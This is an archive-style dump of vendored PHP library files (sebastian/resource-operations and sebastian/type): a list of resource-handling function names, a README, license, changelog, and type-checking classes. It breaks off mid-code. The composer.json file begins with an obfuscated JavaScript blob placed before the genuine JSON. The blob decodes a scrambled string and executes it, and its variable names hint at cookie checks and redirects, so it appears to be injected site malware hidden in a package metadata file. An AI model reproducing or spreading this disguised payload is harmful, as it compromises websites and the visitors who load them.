'newt_grid_wrapped_window_at', 'newt_label', 'newt_label_set_text', 'newt_listbox', 'newt_listbox_append_entry', 'newt_listbox_clear', 'newt_listbox_clear_selection', 'newt_listbox_delete_entry', 'newt_listbox_get_current', 'newt_listbox_get_selection', 'newt_listbox_insert_entry', 'newt_listbox_item_count', 'newt_listbox_select_item', 'newt_listbox_set_current', 'newt_listbox_set_current_by_key', 'newt_listbox_set_data', 'newt_listbox_set_entry', 'newt_listbox_set_width', 'newt_listitem', 'newt_listitem_get_data', 'newt_listitem_set', 'newt_radio_get_current', 'newt_radiobutton', 'newt_run_form', 'newt_scale', 'newt_scale_set', 'newt_scrollbar_set', 'newt_textbox', 'newt_textbox_get_num_lines', 'newt_textbox_reflowed', 'newt_textbox_set_height', 'newt_textbox_set_text', 'newt_vertical_scrollbar', 'oci_bind_array_by_name', 'oci_bind_by_name', 'oci_cancel', 'oci_close', 'oci_commit', 'oci_connect', 'oci_define_by_name', 'oci_error', 'oci_execute', 'oci_fetch', 'oci_fetch_all', 'oci_fetch_array', 'oci_fetch_assoc', 'oci_fetch_object', 'oci_fetch_row', 'oci_field_is_null', 'oci_field_name', 'oci_field_precision', 'oci_field_scale', 'oci_field_size', 'oci_field_type', 'oci_field_type_raw', 'oci_free_cursor', 'oci_free_statement', 'oci_get_implicit_resultset', 'oci_new_collection', 'oci_new_connect', 'oci_new_cursor', 'oci_new_descriptor', 'oci_num_fields', 'oci_num_rows', 'oci_parse', 'oci_pconnect', 'oci_register_taf_callback', 'oci_result', 'oci_rollback', 'oci_server_version', 'oci_set_action', 'oci_set_client_identifier', 'oci_set_client_info', 'oci_set_module_name', 'oci_set_prefetch', 'oci_statement_type', 'oci_unregister_taf_callback', 'odbc_autocommit', 'odbc_close', 'odbc_columnprivileges', 'odbc_columns', 'odbc_commit', 'odbc_connect', 'odbc_cursor', 'odbc_data_source', 'odbc_do', 'odbc_error', 'odbc_errormsg', 'odbc_exec', 'odbc_execute', 'odbc_fetch_array', 'odbc_fetch_into', 'odbc_fetch_row', 'odbc_field_len', 'odbc_field_name', 'odbc_field_num', 'odbc_field_precision', 'odbc_field_scale', 'odbc_field_type', 'odbc_foreignkeys', 'odbc_free_result', 'odbc_gettypeinfo', 'odbc_next_result', 'odbc_num_fields', 'odbc_num_rows', 'odbc_pconnect', 'odbc_prepare', 'odbc_primarykeys', 'odbc_procedurecolumns', 'odbc_procedures', 'odbc_result', 'odbc_result_all', 'odbc_rollback', 'odbc_setoption', 'odbc_specialcolumns', 'odbc_statistics', 'odbc_tableprivileges', 'odbc_tables', 'openal_buffer_create', 'openal_buffer_data', 'openal_buffer_destroy', 'openal_buffer_get', 'openal_buffer_loadwav', 'openal_context_create', 'openal_context_current', 'openal_context_destroy', 'openal_context_process', 'openal_context_suspend', 'openal_device_close', 'openal_device_open', 'openal_source_create', 'openal_source_destroy', 'openal_source_get', 'openal_source_pause', 'openal_source_play', 'openal_source_rewind', 'openal_source_set', 'openal_source_stop', 'openal_stream', 'opendir', 'openssl_csr_new', 'openssl_dh_compute_key', 'openssl_free_key', 'openssl_pkey_export', 'openssl_pkey_free', 'openssl_pkey_get_details', 'openssl_spki_new', 'openssl_x509_free', 'pclose', 'pfsockopen', 'pg_affected_rows', 'pg_cancel_query', 'pg_client_encoding', 'pg_close', 'pg_connect_poll', 'pg_connection_busy', 'pg_connection_reset', 'pg_connection_status', 'pg_consume_input', 'pg_convert', 'pg_copy_from', 'pg_copy_to', 'pg_dbname', 'pg_delete', 'pg_end_copy', 'pg_escape_bytea', 'pg_escape_identifier', 'pg_escape_literal', 'pg_escape_string', 'pg_execute', 'pg_fetch_all', 'pg_fetch_all_columns', 'pg_fetch_array', 'pg_fetch_assoc', 'pg_fetch_row', 'pg_field_name', 'pg_field_num', 'pg_field_size', 'pg_field_table', 'pg_field_type', 'pg_field_type_oid', 'pg_flush', 'pg_free_result', 'pg_get_notify', 'pg_get_pid', 'pg_get_result', 'pg_host', 'pg_insert', 'pg_last_error', 'pg_last_notice', 'pg_last_oid', 'pg_lo_close', 'pg_lo_create', 'pg_lo_export', 'pg_lo_import', 'pg_lo_open', 'pg_lo_read', 'pg_lo_read_all', 'pg_lo_seek', 'pg_lo_tell', 'pg_lo_truncate', 'pg_lo_unlink', 'pg_lo_write', 'pg_meta_data', 'pg_num_fields', 'pg_num_rows', 'pg_options', 'pg_parameter_status', 'pg_ping', 'pg_port', 'pg_prepare', 'pg_put_line', 'pg_query', 'pg_query_params', 'pg_result_error', 'pg_result_error_field', 'pg_result_seek', 'pg_result_status', 'pg_select', 'pg_send_execute', 'pg_send_prepare', 'pg_send_query', 'pg_send_query_params', 'pg_set_client_encoding', 'pg_set_error_verbosity', 'pg_socket', 'pg_trace', 'pg_transaction_status', 'pg_tty', 'pg_untrace', 'pg_update', 'pg_version', 'php_user_filter::filter', 'proc_close', 'proc_get_status', 'proc_terminate', 'ps_add_bookmark', 'ps_add_launchlink', 'ps_add_locallink', 'ps_add_note', 'ps_add_pdflink', 'ps_add_weblink', 'ps_arc', 'ps_arcn', 'ps_begin_page', 'ps_begin_pattern', 'ps_begin_template', 'ps_circle', 'ps_clip', 'ps_close', 'ps_close_image', 'ps_closepath', 'ps_closepath_stroke', 'ps_continue_text', 'ps_curveto', 'ps_delete', 'ps_end_page', 'ps_end_pattern', 'ps_end_template', 'ps_fill', 'ps_fill_stroke', 'ps_findfont', 'ps_get_buffer', 'ps_get_parameter', 'ps_get_value', 'ps_hyphenate', 'ps_include_file', 'ps_lineto', 'ps_makespotcolor', 'ps_moveto', 'ps_new', 'ps_open_file', 'ps_open_image', 'ps_open_image_file', 'ps_open_memory_image', 'ps_place_image', 'ps_rect', 'ps_restore', 'ps_rotate', 'ps_save', 'ps_scale', 'ps_set_border_color', 'ps_set_border_dash', 'ps_set_border_style', 'ps_set_info', 'ps_set_parameter', 'ps_set_text_pos', 'ps_set_value', 'ps_setcolor', 'ps_setdash', 'ps_setflat', 'ps_setfont', 'ps_setgray', 'ps_setlinecap', 'ps_setlinejoin', 'ps_setlinewidth', 'ps_setmiterlimit', 'ps_setoverprintmode', 'ps_setpolydash', 'ps_shading', 'ps_shading_pattern', 'ps_shfill', 'ps_show', 'ps_show2', 'ps_show_boxed', 'ps_show_xy', 'ps_show_xy2', 'ps_string_geometry', 'ps_stringwidth', 'ps_stroke', 'ps_symbol', 'ps_symbol_name', 'ps_symbol_width', 'ps_translate', 'px_close', 'px_create_fp', 'px_date2string', 'px_delete', 'px_delete_record', 'px_get_field', 'px_get_info', 'px_get_parameter', 'px_get_record', 'px_get_schema', 'px_get_value', 'px_insert_record', 'px_new', 'px_numfields', 'px_numrecords', 'px_open_fp', 'px_put_record', 'px_retrieve_record', 'px_set_blob_file', 'px_set_parameter', 'px_set_tablename', 'px_set_targetencoding', 'px_set_value', 'px_timestamp2string', 'px_update_record', 'radius_acct_open', 'radius_add_server', 'radius_auth_open', 'radius_close', 'radius_config', 'radius_create_request', 'radius_demangle', 'radius_demangle_mppe_key', 'radius_get_attr', 'radius_put_addr', 'radius_put_attr', 'radius_put_int', 'radius_put_string', 'radius_put_vendor_addr', 'radius_put_vendor_attr', 'radius_put_vendor_int', 'radius_put_vendor_string', 'radius_request_authenticator', 'radius_salt_encrypt_attr', 'radius_send_request', 'radius_server_secret', 'radius_strerror', 'readdir', 'readfile', 'recode_file', 'rename', 'rewind', 'rewinddir', 'rmdir', 'rpm_close', 'rpm_get_tag', 'rpm_open', 'sapi_windows_vt100_support', 'scandir', 'sem_acquire', 'sem_get', 'sem_release', 'sem_remove', 'set_file_buffer', 'shm_attach', 'shm_detach', 'shm_get_var', 'shm_has_var', 'shm_put_var', 'shm_remove', 'shm_remove_var', 'shmop_close', 'shmop_delete', 'shmop_open', 'shmop_read', 'shmop_size', 'shmop_write', 'socket_accept', 'socket_addrinfo_bind', 'socket_addrinfo_connect', 'socket_addrinfo_explain', 'socket_bind', 'socket_clear_error', 'socket_close', 'socket_connect', 'socket_export_stream', 'socket_get_option', 'socket_get_status', 'socket_getopt', 'socket_getpeername', 'socket_getsockname', 'socket_import_stream', 'socket_last_error', 'socket_listen', 'socket_read', 'socket_recv', 'socket_recvfrom', 'socket_recvmsg', 'socket_send', 'socket_sendmsg', 'socket_sendto', 'socket_set_block', 'socket_set_blocking', 'socket_set_nonblock', 'socket_set_option', 'socket_set_timeout', 'socket_shutdown', 'socket_write', 'sqlite_close', 'sqlite_fetch_string', 'sqlite_has_more', 'sqlite_open', 'sqlite_popen', 'sqlsrv_begin_transaction', 'sqlsrv_cancel', 'sqlsrv_client_info', 'sqlsrv_close', 'sqlsrv_commit', 'sqlsrv_connect', 'sqlsrv_execute', 'sqlsrv_fetch', 'sqlsrv_fetch_array', 'sqlsrv_fetch_object', 'sqlsrv_field_metadata', 'sqlsrv_free_stmt', 'sqlsrv_get_field', 'sqlsrv_has_rows', 'sqlsrv_next_result', 'sqlsrv_num_fields', 'sqlsrv_num_rows', 'sqlsrv_prepare', 'sqlsrv_query', 'sqlsrv_rollback', 'sqlsrv_rows_affected', 'sqlsrv_send_stream_data', 'sqlsrv_server_info', 'ssh2_auth_agent', 'ssh2_auth_hostbased_file', 'ssh2_auth_none', 'ssh2_auth_password', 'ssh2_auth_pubkey_file', 'ssh2_disconnect', 'ssh2_exec', 'ssh2_fetch_stream', 'ssh2_fingerprint', 'ssh2_methods_negotiated', 'ssh2_publickey_add', 'ssh2_publickey_init', 'ssh2_publickey_list', 'ssh2_publickey_remove', 'ssh2_scp_recv', 'ssh2_scp_send', 'ssh2_sftp', 'ssh2_sftp_chmod', 'ssh2_sftp_lstat', 'ssh2_sftp_mkdir', 'ssh2_sftp_readlink', 'ssh2_sftp_realpath', 'ssh2_sftp_rename', 'ssh2_sftp_rmdir', 'ssh2_sftp_stat', 'ssh2_sftp_symlink', 'ssh2_sftp_unlink', 'ssh2_shell', 'ssh2_tunnel', 'stomp_connect', 'streamWrapper::stream_cast', 'stream_bucket_append', 'stream_bucket_make_writeable', 'stream_bucket_new', 'stream_bucket_prepend', 'stream_context_create', 'stream_context_get_default', 'stream_context_get_options', 'stream_context_get_params', 'stream_context_set_default', 'stream_context_set_params', 'stream_copy_to_stream', 'stream_encoding', 'stream_filter_append', 'stream_filter_prepend', 'stream_filter_remove', 'stream_get_contents', 'stream_get_line', 'stream_get_meta_data', 'stream_isatty', 'stream_set_blocking', 'stream_set_chunk_size', 'stream_set_read_buffer', 'stream_set_timeout', 'stream_set_write_buffer', 'stream_socket_accept', 'stream_socket_client', 'stream_socket_enable_crypto', 'stream_socket_get_name', 'stream_socket_recvfrom', 'stream_socket_sendto', 'stream_socket_server', 'stream_socket_shutdown', 'stream_supports_lock', 'svn_fs_abort_txn', 'svn_fs_apply_text', 'svn_fs_begin_txn2', 'svn_fs_change_node_prop', 'svn_fs_check_path', 'svn_fs_contents_changed', 'svn_fs_copy', 'svn_fs_delete', 'svn_fs_dir_entries', 'svn_fs_file_contents', 'svn_fs_file_length', 'svn_fs_is_dir', 'svn_fs_is_file', 'svn_fs_make_dir', 'svn_fs_make_file', 'svn_fs_node_created_rev', 'svn_fs_node_prop', 'svn_fs_props_changed', 'svn_fs_revision_prop', 'svn_fs_revision_root', 'svn_fs_txn_root', 'svn_fs_youngest_rev', 'svn_repos_create', 'svn_repos_fs', 'svn_repos_fs_begin_txn_for_commit', 'svn_repos_fs_commit_txn', 'svn_repos_open', 'sybase_affected_rows', 'sybase_close', 'sybase_connect', 'sybase_data_seek', 'sybase_fetch_array', 'sybase_fetch_assoc', 'sybase_fetch_field', 'sybase_fetch_object', 'sybase_fetch_row', 'sybase_field_seek', 'sybase_free_result', 'sybase_num_fields', 'sybase_num_rows', 'sybase_pconnect', 'sybase_query', 'sybase_result', 'sybase_select_db', 'sybase_set_message_handler', 'sybase_unbuffered_query', 'tmpfile', 'udm_add_search_limit', 'udm_alloc_agent', 'udm_alloc_agent_array', 'udm_cat_list', 'udm_cat_path', 'udm_check_charset', 'udm_clear_search_limits', 'udm_crc32', 'udm_errno', 'udm_error', 'udm_find', 'udm_free_agent', 'udm_free_res', 'udm_get_doc_count', 'udm_get_res_field', 'udm_get_res_param', 'udm_hash32', 'udm_load_ispell_data', 'udm_set_agent_param', 'unlink', 'vfprintf', 'w32api_init_dtype', 'wddx_add_vars', 'wddx_packet_end', 'wddx_packet_start', 'xml_get_current_byte_index', 'xml_get_current_column_number', 'xml_get_current_line_number', 'xml_get_error_code', 'xml_parse', 'xml_parse_into_struct', 'xml_parser_create', 'xml_parser_create_ns', 'xml_parser_free', 'xml_parser_get_option', 'xml_parser_set_option', 'xml_set_character_data_handler', 'xml_set_default_handler', 'xml_set_element_handler', 'xml_set_end_namespace_decl_handler', 'xml_set_external_entity_ref_handler', 'xml_set_notation_decl_handler', 'xml_set_object', 'xml_set_processing_instruction_handler', 'xml_set_start_namespace_decl_handler', 'xml_set_unparsed_entity_decl_handler', 'xmlrpc_server_add_introspection_data', 'xmlrpc_server_call_method', 'xmlrpc_server_create', 'xmlrpc_server_destroy', 'xmlrpc_server_register_introspection_callback', 'xmlrpc_server_register_method', 'xmlwriter_end_attribute', 'xmlwriter_end_cdata', 'xmlwriter_end_comment', 'xmlwriter_end_document', 'xmlwriter_end_dtd', 'xmlwriter_end_dtd_attlist', 'xmlwriter_end_dtd_element', 'xmlwriter_end_dtd_entity', 'xmlwriter_end_element', 'xmlwriter_end_pi', 'xmlwriter_flush', 'xmlwriter_full_end_element', 'xmlwriter_open_memory', 'xmlwriter_open_uri', 'xmlwriter_output_memory', 'xmlwriter_set_indent', 'xmlwriter_set_indent_string', 'xmlwriter_start_attribute', 'xmlwriter_start_attribute_ns', 'xmlwriter_start_cdata', 'xmlwriter_start_comment', 'xmlwriter_start_document', 'xmlwriter_start_dtd', 'xmlwriter_start_dtd_attlist', 'xmlwriter_start_dtd_element', 'xmlwriter_start_dtd_entity', 'xmlwriter_start_element', 'xmlwriter_start_element_ns', 'xmlwriter_start_pi', 'xmlwriter_text', 'xmlwriter_write_attribute', 'xmlwriter_write_attribute_ns', 'xmlwriter_write_cdata', 'xmlwriter_write_comment', 'xmlwriter_write_dtd', 'xmlwriter_write_dtd_attlist', 'xmlwriter_write_dtd_element', 'xmlwriter_write_dtd_entity', 'xmlwriter_write_element', 'xmlwriter_write_element_ns', 'xmlwriter_write_pi', 'xmlwriter_write_raw', 'xslt_create', 'yaz_addinfo', 'yaz_ccl_conf', 'yaz_ccl_parse', 'yaz_close', 'yaz_database', 'yaz_element', 'yaz_errno', 'yaz_error', 'yaz_es', 'yaz_es_result', 'yaz_get_option', 'yaz_hits', 'yaz_itemorder', 'yaz_present', 'yaz_range', 'yaz_record', 'yaz_scan', 'yaz_scan_result', 'yaz_schema', 'yaz_search', 'yaz_sort', 'yaz_syntax', 'zip_close', 'zip_entry_close', 'zip_entry_compressedsize', 'zip_entry_compressionmethod', 'zip_entry_filesize', 'zip_entry_name', 'zip_entry_open', 'zip_entry_read', 'zip_open', 'zip_read', ]; } } res/readability/vendor/sebastian/resource-operations/README.md000064400000000760147577714370020414 0ustar00# Resource Operations Provides a list of PHP built-in functions that operate on resources. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): composer require sebastian/resource-operations If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: composer require --dev sebastian/resource-operations res/readability/vendor/sebastian/resource-operations/LICENSE000064400000003022147577714370020134 0ustar00Resource Operations Copyright (c) 2015-2020, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/resource-operations/composer.json000064400000007374147577714370021667 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "sebastian/resource-operations", "description": "Provides a list of PHP built-in functions that operate on resources", "homepage": "https://www.github.com/sebastianbergmann/resource-operations", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "prefer-stable": true, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.0" }, "autoload": { "classmap": [ "src/" ] }, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "extra": { "branch-alias": { "dev-master": "3.0-dev" } } } res/readability/vendor/sebastian/resource-operations/.gitignore000064400000000144147577714370021121 0ustar00/.idea /.php_cs.cache /build/FunctionSignatureMap.php /composer.lock /vendor /.phpunit.result.cache res/readability/vendor/sebastian/resource-operations/.gitattributes000064400000000246147577714370022027 0ustar00/.github export-ignore /.php_cs.dist export-ignore /build.xml export-ignore /phpunit.xml export-ignore /tests export-ignore *.php diff=php res/readability/vendor/sebastian/resource-operations/ChangeLog.md000064400000003152147577714370021304 0ustar00# ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [3.0.3] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [3.0.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [3.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [3.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.1 and PHP 7.2 ## [2.0.1] - 2018-10-04 ### Fixed * Functions and methods with nullable parameters of type `resource` are now also considered ## [2.0.0] - 2018-09-27 ### Changed * [FunctionSignatureMap.php](https://raw.githubusercontent.com/phan/phan/master/src/Phan/Language/Internal/FunctionSignatureMap.php) from `phan/phan` is now used instead of [arginfo.php](https://raw.githubusercontent.com/rlerdorf/phan/master/includes/arginfo.php) from `rlerdorf/phan` ### Removed * This component is no longer supported on PHP 5.6 and PHP 7.0 ## 1.0.0 - 2015-07-28 * Initial release [3.0.3]: https://github.com/sebastianbergmann/comparator/resource-operations/3.0.2...3.0.3 [3.0.2]: https://github.com/sebastianbergmann/comparator/resource-operations/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/comparator/resource-operations/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/comparator/resource-operations/2.0.1...3.0.0 [2.0.1]: https://github.com/sebastianbergmann/comparator/resource-operations/2.0.0...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/comparator/resource-operations/1.0.0...2.0.0 res/readability/vendor/sebastian/type/src/exception/RuntimeException.php000064400000000567147577714370022713 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class RuntimeException extends \RuntimeException implements Exception { } res/readability/vendor/sebastian/type/src/exception/Exception.php000064400000000541147577714370021337 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use Throwable; interface Exception extends Throwable { } res/readability/vendor/sebastian/type/src/type/MixedType.php000064400000001335147577714370020276 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class MixedType extends Type { public function isAssignable(Type $other): bool { return !$other instanceof VoidType; } public function asString(): string { return 'mixed'; } public function name(): string { return 'mixed'; } public function allowsNull(): bool { return true; } public function isMixed(): bool { return true; } } res/readability/vendor/sebastian/type/src/type/NeverType.php000064400000001215147577714370020304 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class NeverType extends Type { public function isAssignable(Type $other): bool { return $other instanceof self; } public function name(): string { return 'never'; } public function allowsNull(): bool { return false; } public function isNever(): bool { return true; } } res/readability/vendor/sebastian/type/src/type/UnionType.php000064400000004514147577714370020322 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function count; use function implode; use function sort; final class UnionType extends Type { /** * @psalm-var list */ private $types; /** * @throws RuntimeException */ public function __construct(Type ...$types) { $this->ensureMinimumOfTwoTypes(...$types); $this->ensureOnlyValidTypes(...$types); $this->types = $types; } public function isAssignable(Type $other): bool { foreach ($this->types as $type) { if ($type->isAssignable($other)) { return true; } } return false; } public function asString(): string { return $this->name(); } public function name(): string { $types = []; foreach ($this->types as $type) { $types[] = $type->name(); } sort($types); return implode('|', $types); } public function allowsNull(): bool { foreach ($this->types as $type) { if ($type instanceof NullType) { return true; } } return false; } public function isUnion(): bool { return true; } /** * @throws RuntimeException */ private function ensureMinimumOfTwoTypes(Type ...$types): void { if (count($types) < 2) { throw new RuntimeException( 'A union type must be composed of at least two types' ); } } /** * @throws RuntimeException */ private function ensureOnlyValidTypes(Type ...$types): void { foreach ($types as $type) { if ($type instanceof UnknownType) { throw new RuntimeException( 'A union type must not be composed of an unknown type' ); } if ($type instanceof VoidType) { throw new RuntimeException( 'A union type must not be composed of a void type' ); } } } } res/readability/vendor/sebastian/type/src/type/TrueType.php000064400000001553147577714370020151 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class TrueType extends Type { public function isAssignable(Type $other): bool { if ($other instanceof self) { return true; } return $other instanceof SimpleType && $other->name() === 'bool' && $other->value() === true; } public function name(): string { return 'true'; } public function allowsNull(): bool { return false; } /** * @psalm-assert-if-true TrueType $this */ public function isTrue(): bool { return true; } } res/readability/vendor/sebastian/type/src/type/SimpleType.php000064400000003536147577714370020466 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function strtolower; final class SimpleType extends Type { /** * @var string */ private $name; /** * @var bool */ private $allowsNull; /** * @var mixed */ private $value; public function __construct(string $name, bool $nullable, $value = null) { $this->name = $this->normalize($name); $this->allowsNull = $nullable; $this->value = $value; } public function isAssignable(Type $other): bool { if ($this->allowsNull && $other instanceof NullType) { return true; } if ($this->name === 'bool' && $other->name() === 'false') { return true; } if ($other instanceof self) { return $this->name === $other->name; } return false; } public function name(): string { return $this->name; } public function allowsNull(): bool { return $this->allowsNull; } public function value() { return $this->value; } public function isSimple(): bool { return true; } private function normalize(string $name): string { $name = strtolower($name); switch ($name) { case 'boolean': return 'bool'; case 'real': case 'double': return 'float'; case 'integer': return 'int'; case '[]': return 'array'; default: return $name; } } } res/readability/vendor/sebastian/type/src/type/NullType.php000064400000001333147577714370020140 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class NullType extends Type { public function isAssignable(Type $other): bool { return !($other instanceof VoidType); } public function name(): string { return 'null'; } public function asString(): string { return 'null'; } public function allowsNull(): bool { return true; } public function isNull(): bool { return true; } } res/readability/vendor/sebastian/type/src/type/GenericObjectType.php000064400000001754147577714370021740 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class GenericObjectType extends Type { /** * @var bool */ private $allowsNull; public function __construct(bool $nullable) { $this->allowsNull = $nullable; } public function isAssignable(Type $other): bool { if ($this->allowsNull && $other instanceof NullType) { return true; } if (!$other instanceof ObjectType) { return false; } return true; } public function name(): string { return 'object'; } public function allowsNull(): bool { return $this->allowsNull; } public function isGenericObject(): bool { return true; } } res/readability/vendor/sebastian/type/src/type/FalseType.php000064400000001463147577714370020264 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class FalseType extends Type { public function isAssignable(Type $other): bool { if ($other instanceof self) { return true; } return $other instanceof SimpleType && $other->name() === 'bool' && $other->value() === false; } public function name(): string { return 'false'; } public function allowsNull(): bool { return false; } public function isFalse(): bool { return true; } } res/readability/vendor/sebastian/type/src/type/Type.php000064400000006757147577714370017324 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use const PHP_VERSION; use function get_class; use function gettype; use function strtolower; use function version_compare; abstract class Type { public static function fromValue($value, bool $allowsNull): self { if ($value === false) { return new FalseType; } $typeName = gettype($value); if ($typeName === 'object') { return new ObjectType(TypeName::fromQualifiedName(get_class($value)), $allowsNull); } $type = self::fromName($typeName, $allowsNull); if ($type instanceof SimpleType) { $type = new SimpleType($typeName, $allowsNull, $value); } return $type; } public static function fromName(string $typeName, bool $allowsNull): self { if (version_compare(PHP_VERSION, '8.1.0-dev', '>=') && strtolower($typeName) === 'never') { return new NeverType; } switch (strtolower($typeName)) { case 'callable': return new CallableType($allowsNull); case 'false': return new FalseType; case 'iterable': return new IterableType($allowsNull); case 'null': return new NullType; case 'object': return new GenericObjectType($allowsNull); case 'unknown type': return new UnknownType; case 'void': return new VoidType; case 'array': case 'bool': case 'boolean': case 'double': case 'float': case 'int': case 'integer': case 'real': case 'resource': case 'resource (closed)': case 'string': return new SimpleType($typeName, $allowsNull); default: return new ObjectType(TypeName::fromQualifiedName($typeName), $allowsNull); } } public function asString(): string { return ($this->allowsNull() ? '?' : '') . $this->name(); } public function isCallable(): bool { return false; } public function isFalse(): bool { return false; } public function isGenericObject(): bool { return false; } public function isIntersection(): bool { return false; } public function isIterable(): bool { return false; } public function isMixed(): bool { return false; } public function isNever(): bool { return false; } public function isNull(): bool { return false; } public function isObject(): bool { return false; } public function isSimple(): bool { return false; } public function isStatic(): bool { return false; } public function isUnion(): bool { return false; } public function isUnknown(): bool { return false; } public function isVoid(): bool { return false; } abstract public function isAssignable(self $other): bool; abstract public function name(): string; abstract public function allowsNull(): bool; } res/readability/vendor/sebastian/type/src/type/VoidType.php000064400000001212147577714370020123 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class VoidType extends Type { public function isAssignable(Type $other): bool { return $other instanceof self; } public function name(): string { return 'void'; } public function allowsNull(): bool { return false; } public function isVoid(): bool { return true; } } res/readability/vendor/sebastian/type/src/type/IterableType.php000064400000003445147577714370020763 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function assert; use function class_exists; use function is_iterable; use ReflectionClass; use ReflectionException; final class IterableType extends Type { /** * @var bool */ private $allowsNull; public function __construct(bool $nullable) { $this->allowsNull = $nullable; } /** * @throws RuntimeException */ public function isAssignable(Type $other): bool { if ($this->allowsNull && $other instanceof NullType) { return true; } if ($other instanceof self) { return true; } if ($other instanceof SimpleType) { return is_iterable($other->value()); } if ($other instanceof ObjectType) { $className = $other->className()->qualifiedName(); assert(class_exists($className)); try { return (new 